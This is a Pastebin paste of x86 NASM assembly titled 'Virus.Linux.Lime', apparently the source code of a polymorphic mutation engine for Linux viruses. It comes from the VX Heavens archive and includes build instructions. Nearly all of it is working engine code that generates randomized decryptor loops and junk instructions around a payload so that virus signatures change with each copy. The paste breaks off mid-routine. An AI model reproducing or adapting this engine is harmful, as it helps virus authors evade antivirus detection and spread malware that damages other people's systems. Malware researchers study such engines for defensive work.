Advertisement
FlyFar

Virus.Linux.Lime - Linux Mutation Engine - Source Code

Jun 18th, 2023
1,192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 27.90 KB | Cybersecurity | 0 0
  1. ; This file passed through VX Heavens (http://vx.org.ua)
  2. ; ***************************************************************
  3. ;  To compile [LiME] under Linux with NASM... Follow as:
  4. ;  nasm -f elf lime-gen.s
  5. ;  ld -e main lime-gen.o -o lime-gen
  6. ; ***************************************************************
  7.  
  8. section .data
  9. global main
  10.  
  11. ; ***************************************************************
  12. ;  Linux Mutation Engine (source code)
  13. ;  [LiME] Version: 0.2.0                 Last update: 2001/02/28
  14. ;  Written by zhugejin at Taipei, Taiwan.       Date: 2000/10/10
  15. ;  E-mail: zhugejin.bbs@bbs.csie.nctu.edu.tw
  16. ;  WWW: http://cvex.fsn.net
  17. ; ***************************************************************
  18.  
  19. ; Input:
  20. ;       EBX = pointer to memory buffer where LiME will store decryptor
  21. ;         and encrypted data
  22. ;       ECX = pointer to the data, u want to encrypt
  23. ;       EDX = size of data, u want to encrypt
  24. ;       EBP = delta offset
  25. ;
  26. ; Output:
  27. ;   ECX = address of decryptor+encrypted data
  28. ;       EDX = size of decryptor+encrypted data
  29.  
  30. LIME_BEGIN:
  31.     dd LIME_SIZE            ; size of [LiME]
  32.  
  33. lime_pre_opcod_tab db 10000000b ; add
  34.            db 10101000b ; sub
  35.                    db 10110000b ; xor
  36.                    db 10000000b ; add
  37.            
  38. lime_enc_opcod_tab db  80h,10000000b, 2ah,11000001b ; add/sub
  39.            db  80h,10101000b, 02h,11000001b ; sub/add
  40.            db  80h,10110000b, 32h,11000001b ; xor/xor
  41.            db  82h,10000000b, 2ah,11000001b ; add/sub
  42.            db  82h,10101000b, 02h,11000001b ; sub/add
  43.            db  82h,10110000b, 32h,11000001b ; xor/xor
  44.            db 0c0h,10000000b,0d2h,11001000b ; rol/ror
  45.            db 0c0h,10001000b,0d2h,11000000b ; ror/rol
  46.            
  47.            db 0d0h,10000000b,0d0h,11001000b ; rol/ror
  48.            db 0d0h,10001000b,0d0h,11000000b ; ror/rol
  49.            db 0f6h,10010000b,0f6h,11010000b ; not/not
  50.            db 0f6h,10011000b,0f6h,11011000b ; neg/neg
  51.            db 0feh,10000000b,0feh,11001000b ; inc/dec
  52.            db 0feh,10001000b,0feh,11000000b ; dec/inc
  53.            
  54.            db  00h,10000000b, 2ah,11000001b ; add/sub
  55.            db  28h,10000000b, 02h,11000001b ; sub/add
  56.            db  30h,10000000b, 32h,11000001b ; xor/xor
  57.             ;--------------------------------------------  
  58.            db  10h,10000000b, 1ah,11000001b ; adc/sbb
  59.            db  18h,10000000b, 12h,11000001b ; sbb/adc
  60.            
  61.            db  80h,10010000b, 1ah,11000001b ; adc/sbb
  62.            db  80h,10011000b, 12h,11000001b ; sbb/adc
  63.            db  82h,10010000b, 1ah,11000001b ; adc/sbb
  64.            db  82h,10011000b, 12h,11000001b ; sbb/adc
  65.  
  66. lime_zero_reg_opcod_tab db 29h,00011000b        ; sub reg,reg
  67.                         db 2bh,00011000b        ; sub reg,reg
  68.                         db 31h,00011000b        ; xor reg,reg
  69.                         db 33h,00011000b        ; xor reg,reg
  70. lime_init_reg_opcod_tab db 81h,11000000b        ; add reg,xxxxxxxx
  71.                         db 81h,11001000b        ; or reg,xxxxxxxx
  72.                         db 81h,11110000b        ; xor reg,xxxxxxxx
  73.                         db 81h,11000000b        ; add reg,xxxxxxxx
  74.  
  75. ;-----------------------------------------------
  76. LIME_make_tsh_cod   dd lime_make_tsh_cod
  77. LIME_make_noflags_cod   dd lime_make_noflags_cod
  78. LIME_set_disp_reg   dd lime_set_disp_reg
  79. LIME_save_edi       dd lime_save_edi
  80. @   equ $
  81. LIME_rnd        dd lime_rnd
  82. LIME_rnd_reg        dd lime_rnd_reg
  83. LIME_rnd_al     dd lime_rnd_al
  84. LIME_rnd_eax_and_al dd lime_rnd_eax_and_al
  85. LIME_rnd_esi        dd lime_rnd_esi
  86. ;-----------------------------------------------
  87.  
  88. lime_add4_reg_opcod_tab db 11000000b,11000000b,04h,-4h  ; add/add
  89.             db 11000000b,11101000b,-4h,04h  ; add/sub
  90.             db 11101000b,11101000b,-4h,04h  ; sub/sub
  91.             db 11101000b,11000000b,04h,-4h  ; sub/add
  92.  
  93. lime_mk_mov_cod_addr dw lime_mmc1-@,lime_mmc2-@,lime_mmc3-@
  94. lime_mk_inc_cod_addr dw lime_mic1-@,lime_mic2-@,lime_mic3-@
  95. lime_mk_jxx_cod_addr dw lime_mjc1-@,lime_mjc2-@
  96.  
  97. lime_mk_tsh_cod_addr dw lime_mtc1-@,lime_mtc2-@,lime_mtc3-@,lime_mtc4-@
  98.                      dw lime_mtc5-@,lime_mtc6-@,lime_mtc7-@,lime_mtc8-@
  99.              dw lime_mtc9-@
  100. ;            dw lime_simd-@
  101. ;            dw lime_3dnow-@
  102.  
  103. jxx_addr dd 0
  104. ret_addr dd 0
  105. pre_addr dd 0
  106. pre_count db 0
  107.  
  108. lime_rnd_val dd 0
  109.  
  110. orig_reg db 0
  111. disp_reg db 0
  112. temp_reg db 0
  113. key_reg  db 0
  114.  
  115.     ;   +------------> make no-flags code
  116.     ;   |+-----------> *reserved* for SIMD Instruction
  117.     ;   ||+----------> *reserved* for 3DNow! Instruction
  118.     ;   |||   +------> xchg disp_reg with orig_reg
  119.     ;   |||   |
  120. para_eax db 00000000b   ; parameters of LiME
  121. para_ebx dd 0       ; address of buffer for new decryptor
  122. para_ecx dd 0       ; begin of code to be decrypted
  123. para_edx dd 0       ; size of code to be decrypted
  124. para_ebp dd 0       ; displacement of decryptor
  125. para_esp dd 0
  126.  
  127.     ;   +--------------------> byte / dword
  128.     ;   |+-------------------> mod := (disp32/disp8)
  129.     ;   ||+------------------> *not used*
  130.     ;   |||+-----------------> *not used*
  131.     ;   ||||+----------------> inc reg / dec reg
  132.     ;   |||||++--------------> *not used*
  133.     ;   |||||||+-------------> clc / stc
  134. enc_type dd 00000000b
  135.  
  136. adr_ndx dd 0
  137. adr_0   dd 0,0,0,0,0,0,0,0
  138. adr_1   dd 0,0,0,0,0,0,0,0
  139. adr_2   dd 0,0,0,0,0,0,0,0
  140. adr_3   dd 0,0,0,0,0,0,0,0
  141.  
  142. lime_mmx_opcod_tab:
  143. db  60h, 61h, 62h, 63h, 64h, 65h, 66h, 67h, 68h, 69h, 6ah, 6bh, 6eh, 6fh
  144. db  74h, 75h, 76h, 6eh, 6fh,0d1h,0d2h,0d3h,0d5h,0d8h,0d9h,0dbh,0dch,0ddh
  145. db 0dfh,0e1h,0e2h,0e5h,0e8h,0e9h,0ebh,0ech,0edh,0efh,0f1h,0f2h,0f3h,0f5h
  146. db 0f8h,0f9h,0fah,0fch,0fdh,0feh
  147.  
  148. ; ---------------------------------------------------------------
  149.  
  150. LIME:
  151.         pushf
  152.         cld
  153.        
  154.         mov edi,ebx
  155.        
  156.     push ebp
  157.         call lime_reloc
  158. lime_reloc:
  159.         pop ebp
  160.         sub ebp,lime_reloc-@
  161.         pop dword [ebp-@+para_ebp]
  162.         mov [ebp-@+para_ebx],ebx
  163.         mov [ebp-@+para_ecx],ecx
  164.         mov [ebp-@+para_edx],edx
  165.     mov [ebp-@+para_esp],esp
  166.    
  167.     call lime_make_prefix_decrypt   ;
  168.     mov [ebp-@+pre_addr],esp
  169.  
  170.     mov al,3
  171.     call [ebp-@+LIME_rnd_eax_and_al]
  172.         mov [ebp-@+adr_ndx],eax
  173.         xchg ecx,eax
  174.         inc ecx
  175.         lea esi,[ebp-@+adr_0]
  176. lime_make_next_decrypt:
  177.         call lime_make_decrypt          ;
  178.     ror dword [ebp-@+enc_type],8
  179.         loop lime_make_next_decrypt
  180.        
  181.         call lime_encrypt               ;
  182.        
  183.         mov ecx,[ebp-@+para_ebx]
  184.         mov edx,edi
  185.         sub edx,ecx
  186.  
  187.     mov esp,[ebp-@+para_esp]      
  188.         popf
  189.         ret
  190.        
  191. ; ---------------------------------------------------------------
  192.  
  193. lime_make_prefix_decrypt:
  194.     pop dword [ebp-@+ret_addr]
  195.         call [ebp-@+LIME_make_tsh_cod]
  196.  
  197.     mov al,7
  198.     call [ebp-@+LIME_rnd_eax_and_al]
  199.     add al,7
  200.     mov [ebp-@+pre_count],al
  201.     xchg ecx,eax
  202. mk_next_prefix_decrypt:
  203.         call [ebp-@+LIME_make_tsh_cod]
  204.         call [ebp-@+LIME_set_disp_reg]
  205.        
  206.         call lime_make_mov_cod
  207.     push edi            ; p0
  208.         stosd
  209.    
  210.     call lime_make_xchg_cod_rnd
  211.    
  212.     mov al,02h
  213.     call [ebp-@+LIME_rnd_eax_and_al]
  214.         add al,81h      ; (add/sub/xor) dword [reg+(xxxxxx)xx],xxxxxxxx
  215.         stosb
  216.         push eax
  217.         mov al,03h
  218.         call [ebp-@+LIME_rnd_al]
  219.         lea ebx,[ebp-@+lime_pre_opcod_tab]
  220.     xlatb
  221.         or al,[ebp-@+disp_reg]
  222.         stosb
  223.         pop ebx
  224.     push edi            ; p1
  225.         call [ebp-@+LIME_rnd]
  226.         stosd
  227.     jp lmpd_a1
  228.     xor byte [edi-05h],11000000b
  229.     sub edi,byte 03h
  230. lmpd_a1:
  231.         call [ebp-@+LIME_rnd]
  232.         stosd
  233.     cmp bl,83h
  234.     jnz lmpd_a2
  235.     sub edi,byte 03h
  236. lmpd_a2:
  237.    
  238.         loop mk_next_prefix_decrypt
  239.    
  240.         call [ebp-@+LIME_make_tsh_cod]
  241.     push dword [ebp-@+ret_addr]
  242.         ret
  243.        
  244. ; ---------------------------------------------------------------
  245.  
  246. lime_make_decrypt:
  247.         push ecx
  248.         call [ebp-@+LIME_make_tsh_cod]
  249.         call [ebp-@+LIME_set_disp_reg]
  250.  
  251. ;   mov al,0cch
  252. ;   stosb                   ; *test*
  253.    
  254.         call lime_make_mov_cod
  255.     call [ebp-@+LIME_save_edi]      ; a0 = disp value
  256.         stosd
  257.    
  258.     call [ebp-@+LIME_make_tsh_cod]
  259.     call [ebp-@+LIME_rnd]
  260.     and al,11111001b
  261.     mov [ebp-@+enc_type],al
  262.     mov bl,al
  263.     rol al,1
  264.     mov ah,al
  265.     call [ebp-@+LIME_rnd_reg]
  266.     mov [ebp-@+key_reg],al
  267.     shl ah,3
  268.     or al,ah
  269.     or al,0b0h      ; mov reg,key
  270.     stosb
  271.     call [ebp-@+LIME_rnd]
  272.     mov [esi+4*6],eax       ; a7 = key
  273.     stosd
  274.     test bl,10000000b
  275.     jnz lmd_a1
  276.     sub edi,byte 03h
  277. lmd_a1:
  278.     call [ebp-@+LIME_rnd]
  279.     and al,00000010b
  280.     mov [ebp-@+para_eax],al
  281.     call lime_make_xchg_cod_rnd
  282.    
  283.     call [ebp-@+LIME_save_edi]      ; a1 = address of loop
  284.     call [ebp-@+LIME_make_tsh_cod]
  285.    
  286.     mov al,[ebp-@+disp_reg]
  287.         mov [ebp-@+orig_reg],al
  288.    
  289.         push esi
  290.         lea esi,[ebp-@+lime_enc_opcod_tab]
  291.         mov al,22
  292.         call [ebp-@+LIME_rnd_esi]
  293.     add esi,eax
  294.     cmp eax,byte 16*2
  295.     pushf
  296.         lodsd
  297.     test bl,10000000b
  298.     jz lmd_a2
  299.     or eax,00010001h
  300. lmd_a2:
  301.     popf
  302.     push eax
  303.     jbe mk_no_cf
  304.     mov al,bl
  305. ;   and al,01h
  306.     or al,0f8h      ; clc / stc
  307.     stosb
  308.     call [ebp-@+LIME_make_noflags_cod]
  309. mk_no_cf:
  310.     pop eax
  311.         pop esi
  312.     mov bh,bl
  313.     and bh,01000000b
  314.     sub ah,bh
  315.         mov [esi],eax           ; a2 = decryptic type
  316.         add esi,byte 04h
  317.         or ah,[ebp-@+disp_reg]
  318.     cmp al,40h
  319.     jae lmd_a3
  320.     mov dh,[ebp-@+key_reg]
  321.     rol dh,3
  322.     or ah,dh
  323. lmd_a3:
  324.         stosw           ; (add/sub/xor...) (b/w) [reg+(xxxxxx)xx],key
  325.     xchg edx,eax
  326.     call [ebp-@+LIME_rnd]
  327.     jp lmd_a4
  328.     and byte [edi-01h],11111000b
  329.     or byte [edi-01h],00000100b
  330.     and al,11000000b
  331.     or al,00100000b
  332.     or al,[ebp-@+disp_reg]
  333.     stosb
  334. lmd_a4:
  335.         call [ebp-@+LIME_save_edi]      ; a3 = address of displacement
  336.         call [ebp-@+LIME_rnd]
  337.         stosd
  338.     test bl,01000000b
  339.     jz lmd_a5
  340.     sub edi,byte 03h
  341. lmd_a5:
  342.     cmp dl,0d0h
  343.     jae mk_no_val
  344.     cmp dl,40h
  345.     jb mk_no_val
  346.         call [ebp-@+LIME_rnd]
  347.     and al,7fh
  348.     stosd
  349.     cmp dl,81h
  350.     jz lmd_a6
  351.     and eax,byte 7fh
  352.     sub edi,byte 03h
  353. lmd_a6:
  354.     mov [esi+4*3],eax       ; a7 = key
  355. mk_no_val:
  356.        
  357.     call lime_make_xchg_cod_rnd
  358.         call lime_make_inc_cod  ; (inc/dec) reg
  359.         call lime_make_xchg_cod_rnd
  360.        
  361.         mov ax,0f881h           ; cmp reg,xxxxxxxx
  362.         or ah,[ebp-@+disp_reg]
  363.         stosw
  364.     call lime_aox_eax
  365.         call [ebp-@+LIME_save_edi]      ; a4 = address of "cmp reg,xxxxxxxx"
  366.         stosd
  367.        
  368.     call [ebp-@+LIME_make_noflags_cod]
  369.    
  370.     test byte [ebp-@+para_eax],00000010b
  371.     jz mk_no_xchg
  372.         mov al,04h
  373.     call [ebp-@+LIME_rnd_eax_and_al]
  374.     add al,87h      ; xchg orig_reg,disp_reg
  375.     stosb
  376.     mov al,[ebp-@+orig_reg]
  377.     mov ah,al
  378.     xchg [ebp-@+disp_reg],al
  379.     dec edi
  380.     cmp ah,al
  381.     jz mk_no_xchg
  382.     inc edi
  383.     rol ah,3
  384.     or al,ah
  385.     or al,11000000b
  386.     cmp byte [edi-01h],87h
  387.     jnz lmd_a7
  388.     call lime_xchg_reg
  389. lmd_a7:
  390.     stosb
  391.     call [ebp-@+LIME_make_noflags_cod]
  392. mk_no_xchg:
  393.     and byte [ebp-@+para_eax],11111101b
  394.        
  395.         call lime_make_jz_cod   ; jxx (xxxxxx)xx
  396.         call [ebp-@+LIME_save_edi]      ; a5 = address of "jxx xx"
  397.        
  398.         call [ebp-@+LIME_make_noflags_cod]
  399.        
  400.         mov al,0e9h     ; jmp xxxxxxxx
  401.         stosb
  402.         mov eax,[esi-5*4]   ; address of loop
  403.         sub eax,edi
  404.         dec eax
  405.     cmp eax,byte -80h
  406.         jae mk_short_jmp
  407.         sub eax,byte 03h
  408.         stosd
  409.         jmp short mk_jmp_end
  410. mk_short_jmp:
  411.         mov byte [edi-01h],0ebh ; jmp xx
  412.         stosb
  413. mk_jmp_end:
  414.        
  415.     call lime_rnd_trash
  416.         call [ebp-@+LIME_save_edi]      ; a6
  417.        
  418.         push esi
  419.         mov esi,[esi-4*2]   ; address of "jxx xx"
  420.         mov eax,edi
  421.         sub eax,esi
  422.         cmp byte [esi-02h],00h
  423.         jnz mk_jz_a
  424.         sub esi,byte 03h
  425. mk_jz_a:
  426.         mov [esi-01h],al
  427.         pop esi
  428.     add esi,byte 04h
  429.        
  430.         pop ecx
  431.         ret
  432.    
  433. ; -------------------------------  
  434. ;   ...
  435. ;   mov reg,xxxxxxxx <---- a0
  436. ;   ...
  437. ;a1:   
  438. ;   ...
  439. ;   xor [eax+xx],key <---- a7
  440. ;   ^^^(a2)  ^^a3
  441. ;   ...
  442. ;   inc eax
  443. ;   ...
  444. ;   cmp eax,xxxxxxxx <---- a4
  445. ;   ...
  446. ;   jz a6
  447. ;a5:
  448. ;   ...
  449. ;   jmp a1
  450. ;   ...
  451. ;a6:
  452. ; -------------------------------  
  453.  
  454. ; ---------------------------------------------------------------
  455.        
  456. lime_encrypt:
  457.         mov ecx,[ebp-@+para_edx]
  458.         mov esi,[ebp-@+para_ecx]
  459.         repz movsb
  460.  
  461.         push edi
  462. calc_disp:
  463.     rol dword [ebp-@+enc_type],8
  464.     mov eax,0aa9090ach
  465.     test byte [ebp-@+enc_type],10000000b
  466.     jz le_a1
  467.     or eax,01000001h
  468. le_a1:
  469.     mov [ebp-@+enc_buff-01h],eax
  470.  
  471.         lea esi,[ebp-@+adr_0]
  472.         imul ebx,[ebp-@+adr_ndx],byte 4*8
  473.         lea edx,[esi+ebx]
  474.     mov eax,edi
  475.     mov esi,edi
  476.     sub eax,[edx+4*6]
  477.     and al,11111100b
  478.     add eax,byte 04h
  479.     sub esi,eax
  480.     mov eax,esi
  481.    
  482.         sub eax,[ebp-@+para_ebx]
  483.         add eax,[ebp-@+para_ebp]
  484.         mov ebx,[edx+4*3]
  485.     mov ecx,[ebx]
  486.     test byte [ebp-@+enc_type],01000000b
  487.     jz le_a2
  488.     movsx ecx,cl
  489. le_a2:
  490.         sub eax,ecx
  491.         mov ecx,[edx+4*7]   ; decryptic value
  492.    
  493.     test byte [ebp-@+enc_type],00001000b
  494.     jnz le_a3
  495.         mov ebx,[edx]       ; address of "mov reg,xxxxxxxx"
  496.         mov [ebx],eax
  497.         add eax,edi
  498.         sub eax,esi
  499.         mov ebx,[edx+4*4]   ; address of "cmp reg,xxxxxxxx"
  500.     jmp short le_a4
  501. le_a3:
  502.         mov ebx,[edx+4*4]   ; address of "cmp reg,xxxxxxxx"
  503.         mov [ebx],eax
  504.         add eax,edi
  505.         sub eax,esi
  506.         mov ebx,[edx]       ; address of "mov reg,xxxxxxxx"
  507. le_a4:
  508.         mov [ebx],eax
  509.        
  510. ;       jmp _test1_lime_encrypt         ; *test*
  511.         mov eax,[edx+4*2]       ; decryptic type
  512.     shr eax,16
  513.         mov [ebp-@+enc_buff],ax
  514.         mov ebx,edi
  515.         mov edi,esi
  516.    
  517.     mov al,[ebp-@+enc_type]
  518. ;   and al,1
  519.     or al,0f8h      ; clc / stc
  520.     mov [ebp-@+enc_buff-02h],al
  521.  
  522. encrypt_prog:
  523.     db 90h
  524.         lodsb           ; 0ach
  525. enc_buff db 90h,90h
  526.         stosb           ; 0aah
  527.     cmp esi,ebx
  528.         jb encrypt_prog
  529. _test1_lime_encrypt:
  530.  
  531.         cmp byte [ebp-@+adr_ndx],0
  532.         jz lime_prefix_encrypt
  533.         dec byte [ebp-@+adr_ndx]
  534.         jmp calc_disp
  535.  
  536. ; ---------------------------------------------------------------
  537.        
  538. lime_prefix_encrypt:
  539. ;   jmp _test2_lime_encrypt         ; *test*
  540.     movzx ecx,byte [ebp-@+pre_count]
  541.     mov edi,[ebp-@+pre_addr]
  542. lpe_next:
  543.     mov al,1fh
  544.     call [ebp-@+LIME_rnd_eax_and_al]
  545.         add eax,[ebp-@+adr_0+4*1]   ; address of loop
  546.     mov ebx,eax
  547.         sub eax,[ebp-@+para_ebx]
  548.         add eax,[ebp-@+para_ebp]
  549.     mov esi,[edi]
  550.     mov edx,[esi]
  551.     push esi
  552.     add esi,byte 04h
  553.     test byte [esi-05h],01000000b
  554.     jz lpe_a1
  555.     movsx edx,dl
  556.     sub esi,byte 03h
  557. lpe_a1:
  558.         sub eax,edx
  559.     mov edx,[edi+04h]
  560.     mov [edx],eax
  561.     add edi,byte 08h
  562.         mov edx,[esi]
  563.     pop esi
  564.         mov eax,[esi-02h]
  565.     cmp al,83h
  566.     jnz lpe_a2
  567.     movsx edx,dl
  568. lpe_a2:
  569.         and ah,00111000b
  570.         jz lpe_sub
  571.         cmp ah,00101000b
  572.         jz lpe_add
  573.         xor [ebx],edx
  574.         loop lpe_next
  575.         jmp short lime_encrypt_end
  576. lpe_sub:
  577.         sub [ebx],edx
  578.         loop lpe_next
  579.         jmp short lime_encrypt_end
  580. lpe_add:
  581.         add [ebx],edx
  582.         loop lpe_next
  583. _test2_lime_encrypt:
  584.  
  585. lime_encrypt_end:
  586.         pop edi
  587.     call lime_rnd_trash
  588.         ret
  589.  
  590. ; ---------------------------------------------------------------
  591.  
  592. lime_set_disp_reg:
  593.     push edx
  594. lsdr_l:
  595.     mov al,111b
  596.         call [ebp-@+LIME_rnd_al]
  597.         cmp al,100b
  598.         jz lsdr_l
  599.     mov dl,[ebp-@+key_reg]
  600.     test bl,10000000b
  601.     jnz lsdr_a
  602.     and dl,011b
  603. lsdr_a:
  604.     cmp al,dl
  605.     jz lsdr_l
  606.     cmp al,[ebp-@+disp_reg]
  607.     jz lsdr_l
  608.         mov [ebp-@+disp_reg],al
  609.         mov [ebp-@+temp_reg],al
  610.     pop edx
  611.         ret
  612.  
  613. lime_rnd:
  614.         push edx
  615.         rdtsc
  616.         xor eax,[ebp-@+lime_rnd_val]
  617.         adc eax,edi
  618.     neg eax
  619.     sbb eax,edx
  620.     rcr eax,1
  621.         xor [ebp-@+lime_rnd_val],eax
  622.         pop edx
  623.         ret
  624.  
  625. lime_rnd_eax_and_al:
  626.     push edx
  627.     movzx edx,al
  628.     call [ebp-@+LIME_rnd]
  629.     and eax,edx
  630.     pop edx
  631.     ret
  632.  
  633. lime_rnd_al:
  634.     push edx
  635.     mov edx,eax
  636. lra_l: 
  637.     call [ebp-@+LIME_rnd]
  638.     cmp al,dl
  639.     ja lra_l
  640.     mov dl,al
  641.     xchg eax,edx
  642.     pop edx
  643.     ret
  644.  
  645. lime_rnd_esi:
  646.     and eax,byte 07fh
  647.     call [ebp-@+LIME_rnd_al]
  648.         add eax,eax
  649.         add esi,eax
  650.         ret
  651.  
  652. lime_rnd_addr:
  653.     call [ebp-@+LIME_rnd_esi]
  654.     movzx eax,word [esi]
  655.     lea esi,[eax+@]
  656.     ret
  657.  
  658. lime_save_edi:
  659.         mov [esi],edi
  660.         add esi,byte 04h
  661.         ret
  662.  
  663. lime_rnd_reg_dd:
  664.     mov al,01h
  665. lime_rnd_reg:
  666.     push ecx
  667.     push edx
  668.         xchg edx,eax
  669. lrr_l:
  670.     mov al,111b
  671.     call [ebp-@+LIME_rnd_al]
  672.     mov ah,al
  673.         test dl,01h
  674.         jnz lrr_w
  675.         and al,011b
  676. lrr_w:
  677.         cmp al,100b
  678.         jz lrr_l
  679.         cmp al,[ebp-@+disp_reg]
  680.         jz lrr_l
  681.     cmp al,[ebp-@+temp_reg]
  682.     jz lrr_l
  683.     and al,011b
  684.     mov cl,[ebp-@+key_reg]
  685.     and cl,011b
  686.     cmp al,cl
  687.     jz lrr_l
  688.     mov dl,ah
  689.     xchg eax,edx
  690.     pop edx
  691.     pop ecx
  692.         ret
  693.    
  694. lime_rnd_trash:
  695.     push ecx
  696.     mov al,3
  697.     call [ebp-@+LIME_rnd_eax_and_al]
  698.     or al,04h
  699.     xchg ecx,eax
  700. lrt_l: 
  701.     call [ebp-@+LIME_rnd]
  702.     stosb
  703.     loop lrt_l
  704.     pop ecx
  705.     ret
  706.    
  707. lime_rnd_rm:
  708.     push edx   
  709.     xor edx,edx
  710.     mov dl,al
  711.     mov ah,al
  712.     rol ah,3
  713.     mov al,[edi-01h]
  714.     call [ebp-@+LIME_rnd_reg]
  715.     or ah,al
  716.     rol ah,3
  717.     mov al,[edi-01h]
  718.     call [ebp-@+LIME_rnd_reg]
  719.     or al,ah
  720.     stosb
  721.     cmp dl,11b
  722.     jz lrr_a2
  723.     and al,11000111b
  724.     push eax
  725.     cmp eax,edi
  726.     jp lrr_a1
  727.     or ah,00000100b
  728.     mov [edi-01h],ah
  729.     mov ah,al
  730.     mov al,0ffh
  731.     call [ebp-@+LIME_rnd_al]
  732.     and al,11111000b
  733.     xor al,ah
  734.     stosb
  735. lrr_a1:
  736.     call [ebp-@+LIME_rnd]
  737.     stosd
  738.     pop eax
  739.     cmp al,00000101b
  740.     jz lrr_a2
  741.     cmp dl,10b
  742.     je lrr_a2
  743.     sub edi,byte 04h
  744.     add edi,edx
  745. lrr_a2:
  746.     pop edx
  747.         ret
  748.    
  749. lime_xchg_reg:
  750.     push edx
  751.     cmp eax,edi
  752.     jp lxr_e
  753.     and al,00111111b
  754.     mov edx,eax
  755.     shr al,3
  756.     shl dl,3
  757.     or al,dl
  758.     or al,11000000b
  759. lxr_e:
  760.     pop edx
  761.     ret
  762.  
  763. lime_aox_eax:
  764.     cmp eax,edi
  765.     jp lae_e
  766.     test byte [edi-01h],111b
  767.     jnz lae_e
  768.     dec edi
  769.     mov al,[edi]
  770.     dec edi
  771.     and al,00111000b
  772.     or al,00000101b
  773.     stosb
  774. lae_e:
  775.     ret
  776.  
  777. ; ---------------------------------------------------------------
  778.  
  779. lime_make_mov_cod:
  780.         push esi
  781.         lea esi,[ebp-@+lime_mk_mov_cod_addr]
  782.         mov al,02h
  783.         call lime_rnd_addr
  784.         call esi
  785.         pop esi
  786.         ret
  787. lime_mmc1:
  788.         mov al,0b8h     ; mov reg,xxxxxxxx
  789.         or al,[ebp-@+disp_reg]
  790.         stosb
  791.         ret
  792. lime_mmc2:          ; set reg=0 / (add/or/xor) reg,xx
  793.         lea esi,[ebp-@+lime_zero_reg_opcod_tab]
  794.         mov al,03h
  795.         call [ebp-@+LIME_rnd_esi]
  796.         lodsd
  797.         or ah,[ebp-@+disp_reg]
  798.         rol ah,3
  799.         or ah,[ebp-@+disp_reg]
  800.         stosw
  801.     call lime_make_xchg_cod_rnd
  802.     lea esi,[ebp-@+lime_init_reg_opcod_tab]
  803.         mov al,03h
  804.         call [ebp-@+LIME_rnd_esi]
  805.         lodsd
  806.         or ah,[ebp-@+disp_reg]
  807.         stosw
  808.     call lime_aox_eax
  809.         ret
  810. lime_mmc3:
  811.     mov ax,0a08dh       ; lea reg,xxxxxxxx
  812.     or ah,[ebp-@+disp_reg]
  813.     rol ah,3
  814.     stosw
  815.     ret
  816.  
  817. lime_make_xchg_cod_rnd:
  818.     cmp eax,edi
  819.     jp lime_mxc_e
  820.     or byte [ebp-@+para_eax],00000010b
  821.     call [ebp-@+LIME_make_tsh_cod]
  822.     mov dl,[ebp-@+disp_reg]
  823.     mov al,07h
  824.     call [ebp-@+LIME_rnd_eax_and_al]
  825.     test byte [ebp-@+key_reg],011b
  826.     jz lime_mxc_a1
  827.     test al,100b
  828.     jnz lime_mxc_a6
  829. lime_mxc_a1:
  830.     and al,011b
  831.     test al,01b
  832.     jz lime_mxc_a4
  833.     cmp dl,101b
  834.     jnz lime_mxc_a2
  835.     and al,01b
  836. lime_mxc_a2:
  837.     add al,8ah
  838.     stosb
  839.     call [ebp-@+LIME_set_disp_reg]
  840.     rol al,3
  841.     or al,dl
  842.     stosb
  843.     cmp byte [edi-02h],8dh
  844.     jz lime_mxc_a3
  845.     or byte [edi-01h],11000000b
  846. lime_mxc_a3:
  847.     jmp short lime_mxc_e
  848. lime_mxc_a4:
  849.     add ax,1887h        ; mov ah,00011regb
  850.     stosb
  851.     or ah,[ebp-@+disp_reg]
  852.     rol ah,3
  853.     call [ebp-@+LIME_set_disp_reg]
  854.     or al,ah
  855.     cmp byte [edi-01h],87h
  856.     jnz lime_mxc_a5
  857.     call lime_xchg_reg
  858. lime_mxc_a5:
  859.     stosb
  860. lime_mxc_e:
  861.     call [ebp-@+LIME_make_tsh_cod]
  862.     ret
  863. lime_mxc_a6:
  864.     call [ebp-@+LIME_set_disp_reg]
  865.     cmp dl,000b
  866.     jz lime_mxc_a7
  867.     mov al,90h
  868.     or al,dl
  869.     mov byte [ebp-@+disp_reg],00h
  870.     jmp short lime_mxc_a5
  871. lime_mxc_a7:
  872.     call [ebp-@+LIME_set_disp_reg]
  873.     or al,90h
  874.     jmp short lime_mxc_a5
  875.  
  876. ; ---------------------------------------------------------------
  877.  
  878. lime_make_inc_cod:
  879.         push esi
  880.         lea esi,[ebp-@+lime_mk_inc_cod_addr]
  881.         mov al,01h
  882.         call lime_rnd_addr
  883.     mov al,bl
  884.     and al,00001000b
  885.         or al,[ebp-@+disp_reg]
  886.     test bl,10000000b
  887.     jz lime_mic_t
  888.     lea esi,[ebp-@+lime_mic3]
  889. lime_mic_t:
  890.         call esi
  891.         pop esi
  892.         ret
  893. lime_mic1:
  894.         or al,40h       ; (inc/dec) reg
  895.         stosb
  896.         ret
  897. lime_mic2:
  898.     or al,11000000b
  899.     mov ah,al
  900.     mov al,0ffh     ; (inc/dec) reg
  901.         stosw
  902.         ret
  903. lime_mic3:          ; (add/sub) reg,xx / (add/sub) reg,xx
  904.     mov al,81h
  905.     stosb
  906.         lea esi,[ebp-@+lime_add4_reg_opcod_tab]
  907.         mov al,03h
  908.         call [ebp-@+LIME_rnd_esi]
  909.     add esi,eax
  910.     mov edx,[esi]
  911.     mov al,dl
  912.     or al,[ebp-@+disp_reg]
  913.     stosb
  914.     call lime_aox_eax
  915.     call [ebp-@+LIME_rnd]
  916.     stosd
  917.     xchg ecx,eax
  918.     push edx
  919.     call lime_make_xchg_cod_rnd
  920.     pop edx
  921.     mov al,81h
  922.     stosb
  923.     mov al,dh
  924.     or al,[ebp-@+disp_reg]
  925.     stosb
  926.     call lime_aox_eax
  927.     cmp dh,dl
  928.     jnz lime_mic3_a1
  929.     neg ecx
  930. lime_mic3_a1:
  931.     xchg eax,edx
  932.     shr eax,16
  933.     test bl,00001000b
  934.     jz lime_mic3_a2
  935.     shr eax,8
  936. lime_mic3_a2:
  937.     movsx eax,al
  938.     add eax,ecx
  939.     stosd
  940.     ret
  941.  
  942. ; ---------------------------------------------------------------
  943.  
  944. lime_make_jz_cod:
  945.         push esi
  946.         lea esi,[ebp-@+lime_mk_jxx_cod_addr]
  947.         mov al,01h
  948.         call lime_rnd_addr
  949.     mov al,01h
  950.     call [ebp-@+LIME_rnd_al]
  951.     test bl,00001000b
  952.         call esi
  953.         pop esi
  954.         ret
  955. lime_mjc1:
  956.     jz lime_mjc1_a
  957.     mov al,0ffh
  958. lime_mjc1_a:
